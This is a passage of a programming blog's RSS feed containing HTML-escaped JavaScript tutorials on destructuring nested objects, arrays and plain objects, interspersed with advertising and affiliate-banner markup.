style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lima&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      country&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Peru&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      postalCode&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;15048&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The first level is &lt;em&gt;data&lt;/em&gt;, so we will place a colon &amp;ldquo;:&amp;rdquo; there and continue descending to the desired level. Let&amp;rsquo;s leave the rest pending by assigning a &amp;ldquo;&lt;em&gt;{&amp;hellip;}&amp;rdquo;&lt;/em&gt;. **If you are following this example, do not press ENTER until the end.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{...}}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The second level leading to our &lt;em&gt;state&lt;/em&gt; property is &lt;em&gt;location&lt;/em&gt;. So we extend our previous assignment:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{...}}}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our property &lt;em&gt;state&lt;/em&gt; is at the third level, so we do not have to go down any further, we simply place the constant below.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{state}}}&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;state&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lima&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can hit ENTER, when you access the &lt;em&gt;state&lt;/em&gt; constant, you will see that it refers to the &lt;em&gt;state&lt;/em&gt; property, nested in the object.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-to-destructure-more-than-one-property&#34;&gt;How to destructure more than one property?&lt;/h2&gt;&#xA;&lt;p&gt;The previous example was not so complicated, but what if instead of a single property we want to destructure the value of &lt;em&gt;userIsLoggedIn&lt;/em&gt;, &lt;em&gt;email&lt;/em&gt; and &lt;em&gt;state&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To do the above it would be enough to locate in which level are the properties that we want to destructure and include them in the appropriate level in our passed code statement:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {userIsLoggedIn, data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {email, location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{state}}}&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;userIsLoggedIn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;email&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;state&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lima&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;In the next post I will talk about how to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-with-default-values-in-javascript/&#34;&gt;assign default values when destructuring objects&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In the previous posts I briefly explained how to perform a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-lists-in-javascript/&#34;&gt;destructuring of objects in Javascript&lt;/a&gt;&#xA;, but in most cases we will not be lucky enough to work with flat objects, but we will find nested objects with several levels of depth. Will we have to settle for forgetting about this feature and do the job explicitly assigning a constant to each object? Luckily Javascript allows us to work with the destructuring of nested objects.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Destructuring lists in JavaScript</title>
      <link>https://coffeebytes.dev/en/javascript/destructuring-lists-in-javascript/</link>
      <pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/destructuring-lists-in-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In the previous post I explained a bit about the topic of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-variables-in-javascript/&#34;&gt;object destructuring in javascript&lt;/a&gt;&#xA;. In addition to object destructuring, JavaScript also allows you to destructure lists. In this post I will talk about list destructuring in JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s imagine that we have a list with numerical values.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; scientificData &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;15.222&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.723&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.313&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4.555&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2.333&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.990&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The contents of the list are just numbers, they tell us absolutely nothing. These values could be coefficients, temperature measurements, lengths of some part or some gradient of concentrations of a solution; we have no way of knowing. We might be tempted to process the information by accessing the indices of each value in the list, but this would detract from the readability of the code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(scientificData[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; limitValueMouse){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   repeatSample()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(scientificData[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; limitValueFly){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   repeatSample()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above code fragment, if any of the conditions exceeds a certain size, we repeat the sampling. But we don&amp;rsquo;t know what sampling you are talking about because we have no context, we only have the index of the list.&lt;/p&gt;&#xA;&lt;p&gt;If we were the ones who obtained the information we could be more descriptive with the code for those who read it in the future. For this reason we decided to assign a variable to each index in our list.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; lengthMouse &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; scientificData[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; lengthFly &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; scientificData[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, if our list increases in size we will be repeating the same structure over and over again. We can save some code in the following way:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [mouseLength, flyLength] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; scientificData&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Using this method we assign the first and the second value of the list to the &lt;em&gt;mouseLength&lt;/em&gt; and &lt;em&gt;flyLength&lt;/em&gt; variables, respectively.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(mouseLength &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; limitValueMouse){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   repeatMouseSample()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(flyLength &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; limitValueFly){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   repeatFlySample()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the code is much more descriptive and your colleagues, not as enlightened as you, will be able to understand it.&lt;/p&gt;&#xA;&lt;p&gt;But hey, nice and all, but what if my objects have other nested objects and I want to get a value from them. Well we can also &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-nested-objects-in-javascript/&#34;&gt;destructure nested objects&lt;/a&gt;&#xA;, in the I will briefly explain how to do it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In the previous post I explained a bit about the topic of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-variables-in-javascript/&#34;&gt;object destructuring in javascript&lt;/a&gt;&#xA;. In addition to object destructuring, JavaScript also allows you to destructure lists. In this post I will talk about list destructuring in JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s imagine that we have a list with numerical values.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; scientificData &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;15.222&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.723&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.313&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4.555&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2.333&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.990&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The contents of the list are just numbers, they tell us absolutely nothing. These values could be coefficients, temperature measurements, lengths of some part or some gradient of concentrations of a solution; we have no way of knowing. We might be tempted to process the information by accessing the indices of each value in the list, but this would detract from the readability of the code.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Destructuring variables in javascript</title>
      <link>https://coffeebytes.dev/en/javascript/destructuring-variables-in-javascript/</link>
      <pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/destructuring-variables-in-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;For those like me, whose first language was not fortunate (or unfortunate) enough to be javascript, destructuring can take on esoteric overtones. In this post I will try to explain in a simple way the destructuring of objects in javascript. Destructuring is a process that, contrary to popular belief, is actually quite simple and, moreover, can improve code readability.&lt;/p&gt;&#xA;&lt;p&gt;If you want to start learning Javascript from scratch I recommend the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/the-best-book-for-learning-modern-javascript/&#34;&gt;book Eloquent Javascript&lt;/a&gt;&#xA;, here I recommend what I consider the best book to start.&lt;/p&gt;&#xA;&lt;p&gt;Destructuring an object would mean converting the properties of a javascript object or list into variables or constants so that they can be more easily accessed. Let&amp;rsquo;s start with a fairly simple object.&lt;/p&gt;&#xA;&lt;p&gt;No, I&amp;rsquo;m not going to use the classic example of person, book or dog; let&amp;rsquo;s use the example of account data characteristics.&lt;/p&gt;&#xA;&lt;p&gt;Suppose we have stored an object that represents the data of a user account:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; userData &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {isLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; True, profile&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Admin&amp;#34;&lt;/span&gt;, email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above object has the isLoggedIn, profile and email properties. If we wanted to access the values, either to show some content conditionally we would have to do the following:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 